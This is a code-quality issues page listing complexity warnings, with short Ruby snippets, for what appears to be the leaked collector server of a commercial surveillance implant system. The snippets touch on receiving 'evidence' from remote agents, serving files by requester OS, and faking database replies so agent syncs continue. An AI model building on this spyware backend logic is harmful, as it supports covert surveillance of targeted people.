hackedteam/rcs-collector

View on GitHub

Showing 119 of 209 total issues

Method http_get_os has 37 lines of code (exceeds 25 allowed). Consider refactoring.
Open

  def http_get_os(headers)
    # extract the user-agent
    user_agent = headers[:user_agent]

    return 'unknown', '' if user_agent.nil?
Severity: Minor
Found in lib/rcs-collector/http_controller.rb - About 1 hr to fix

    Method print_total has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.
    Open

      def print_total
        puts "Total Statistics from: #{@stats[:total][:start]}"
    
        table_width = 0
        @stats[:total].each_key do |k|
    Severity: Minor
    Found in lib/rcs-collector/statistics.rb - About 1 hr to fix

    Cognitive Complexity

    Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

    A method's cognitive complexity is based on a few simple rules:

    • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
    • Code is considered more complex for each "break in the linear flow of the code"
    • Code is considered more complex when "flow breaking structures are nested"

    Further reading

    Method print_total has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.
    Open

      def print_total
        puts "Total Statistics from: #{@stats[:total][:start]}"
    
        table_width = 0
        @stats[:total].each_key do |k|
    Severity: Minor
    Found in lib/rcs-carrier/statistics.rb - About 1 hr to fix

    Cognitive Complexity

    Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

    A method's cognitive complexity is based on a few simple rules:

    • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
    • Code is considered more complex for each "break in the linear flow of the code"
    • Code is considered more complex when "flow breaking structures are nested"

    Further reading

    Method http_put_file has 35 lines of code (exceeds 25 allowed). Consider refactoring.
    Open

      def http_put_file(uri, content)
        begin
          path = Dir.pwd + PUBLIC_DIR
    
          # split the path in all the subdir and the filename
    Severity: Minor
    Found in lib/rcs-collector/http_controller.rb - About 1 hr to fix

      Method execute_select has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.
      Open

        def execute_select(query, result)
          statement = @db.createStatement()
          res = statement.executeQuery(query)
          meta = res.getMetaData()
      
      
      Severity: Minor
      Found in lib/rcs-collector/sqlite.rb - About 1 hr to fix

      Cognitive Complexity

      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

      A method's cognitive complexity is based on a few simple rules:

      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
      • Code is considered more complex for each "break in the linear flow of the code"
      • Code is considered more complex when "flow breaking structures are nested"

      Further reading

      Method store_evidence_chunk has 31 lines of code (exceeds 25 allowed). Consider refactoring.
      Open

        def store_evidence_chunk(session, id, base, chunk, size, content)
          Dir::mkdir(REPO_CHUNK_DIR) if not File.directory?(REPO_CHUNK_DIR)
          path =  REPO_CHUNK_DIR + '/' + session[:ident] + '_' + session[:instance]
      
          header_len = 12
      Severity: Minor
      Found in lib/rcs-collector/evidence_manager.rb - About 1 hr to fix

        Method load_from_file has 29 lines of code (exceeds 25 allowed). Consider refactoring.
        Open

          def load_from_file
            trace :info, "Loading configuration file..."
            conf_file = File.join Dir.pwd, CONF_DIR, CONF_FILE
        
            # load the config in the @global hash
        Severity: Minor
        Found in lib/rcs-collector/config.rb - About 1 hr to fix

          Method status_update has 9 arguments (exceeds 4 allowed). Consider refactoring.
          Open

            def status_update(component, remoteip, status, message, disk, cpu, pcpu, type, version)
          Severity: Major
          Found in lib/rcs-collector/db_rest.rb - About 1 hr to fix

            Method execute_select has 28 lines of code (exceeds 25 allowed). Consider refactoring.
            Open

              def execute_select(query, result)
                statement = @db.createStatement()
                res = statement.executeQuery(query)
                meta = res.getMetaData()
            
            
            Severity: Minor
            Found in lib/rcs-collector/sqlite.rb - About 1 hr to fix

              Method run has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.
              Open

                    def run(options)
                      run_with_rescue do
                        # ensure the public and log directory are present
                        Dir::mkdir(Dir.pwd + PUBLIC_DIR) if not File.directory?(Dir.pwd + PUBLIC_DIR)
              
              
              Severity: Minor
              Found in lib/rcs-collector/collector.rb - About 1 hr to fix

              Cognitive Complexity

              Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

              A method's cognitive complexity is based on a few simple rules:

              • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
              • Code is considered more complex for each "break in the linear flow of the code"
              • Code is considered more complex when "flow breaking structures are nested"

              Further reading

              Method command_id has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.
              Open

                def command_id(peer, session, message)
              
                  # agent version
                  version = message.slice!(0..3).unpack('I').first
              
              
              Severity: Minor
              Found in lib/rcs-collector/sync_commands.rb - About 1 hr to fix

              Cognitive Complexity

              Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

              A method's cognitive complexity is based on a few simple rules:

              • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
              • Code is considered more complex for each "break in the linear flow of the code"
              • Code is considered more complex when "flow breaking structures are nested"

              Further reading

              Method agent_status has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.
              Open

                def agent_status(build_id, instance_id, platform, demo, level)
                  # if the database has gone, reply with a fake response in order for the sync to continue
                  return agent_cached_status(build_id) unless @available
              
                  trace :debug, "Asking the status of [#{build_id}_#{instance_id}] to the db"
              Severity: Minor
              Found in lib/rcs-collector/db.rb - About 1 hr to fix

              Cognitive Complexity

              Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

              A method's cognitive complexity is based on a few simple rules:

              • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
              • Code is considered more complex for each "break in the linear flow of the code"
              • Code is considered more complex when "flow breaking structures are nested"

              Further reading

              Method create! has 26 lines of code (exceeds 25 allowed). Consider refactoring.
              Open

                def self.create!
                  begin
                    db = SQLite.open CACHE_FILE
                  rescue Exception => e
                    trace :error, "Problems creating the cache file: #{e.message}"
              Severity: Minor
              Found in lib/rcs-collector/db_cache.rb - About 1 hr to fix

                Method http_get_file has 26 lines of code (exceeds 25 allowed). Consider refactoring.
                Open

                  def http_get_file(headers, uri, delete=true)
                
                    # retrieve the Operating System and app specific extension of the requester
                    os, ext = http_get_os(headers)
                
                
                Severity: Minor
                Found in lib/rcs-collector/http_controller.rb - About 1 hr to fix

                  Method prepare_response has 26 lines of code (exceeds 25 allowed). Consider refactoring.
                  Open

                    def prepare_response(connection, request)
                  
                      @request = request
                      @connection = connection
                      @response = EM::DelegatedHttpResponse.new @connection
                  Severity: Minor
                  Found in lib/rcs-collector/rest_response.rb - About 1 hr to fix

                    Method create has 8 arguments (exceeds 4 allowed). Consider refactoring.
                    Open

                      def create(bid, ident, instance, platform, demo, level, k, ip)
                    Severity: Major
                    Found in lib/rcs-collector/sessions.rb - About 1 hr to fix

                      Method transfer has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.
                      Open

                        def transfer(instance, id, left)
                          evidence = EvidenceManager.instance.get_evidence(id, instance)
                          raise "evidence to be transferred is nil" if evidence.nil?
                      
                          address = get_worker_address(instance)
                      Severity: Minor
                      Found in lib/rcs-carrier/evidence_transfer.rb - About 55 mins to fix

                      Cognitive Complexity

                      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                      A method's cognitive complexity is based on a few simple rules:

                      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                      • Code is considered more complex for each "break in the linear flow of the code"
                      • Code is considered more complex when "flow breaking structures are nested"

                      Further reading

                      Method print_average has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.
                      Open

                        def print_average(section)
                          puts "Average by #{section.to_s} statistics:"
                      
                          table_width = 0
                          @stats[:total].each_key do |k|
                      Severity: Minor
                      Found in lib/rcs-carrier/statistics.rb - About 55 mins to fix

                      Cognitive Complexity

                      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                      A method's cognitive complexity is based on a few simple rules:

                      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                      • Code is considered more complex for each "break in the linear flow of the code"
                      • Code is considered more complex when "flow breaking structures are nested"

                      Further reading

                      Method delete_after_serve has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.
                      Open

                        def delete_after_serve(file, os)
                          return if Config.instance.global['DONT_DELETE_AFTER_SERVE']
                          Thread.new do
                            begin
                              sleep 10
                      Severity: Minor
                      Found in lib/rcs-collector/http_controller.rb - About 55 mins to fix

                      Cognitive Complexity

                      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                      A method's cognitive complexity is based on a few simple rules:

                      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                      • Code is considered more complex for each "break in the linear flow of the code"
                      • Code is considered more complex when "flow breaking structures are nested"

                      Further reading

                      Method print_average has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.
                      Open

                        def print_average(section)
                          puts "Average by #{section.to_s} statistics:"
                      
                          table_width = 0
                          @stats[:total].each_key do |k|
                      Severity: Minor
                      Found in lib/rcs-collector/statistics.rb - About 55 mins to fix

                      Cognitive Complexity

                      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                      A method's cognitive complexity is based on a few simple rules:

                      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                      • Code is considered more complex for each "break in the linear flow of the code"
                      • Code is considered more complex when "flow breaking structures are nested"

                      Further reading

                      Severity
                      Category
                      Status
                      Source
                      Language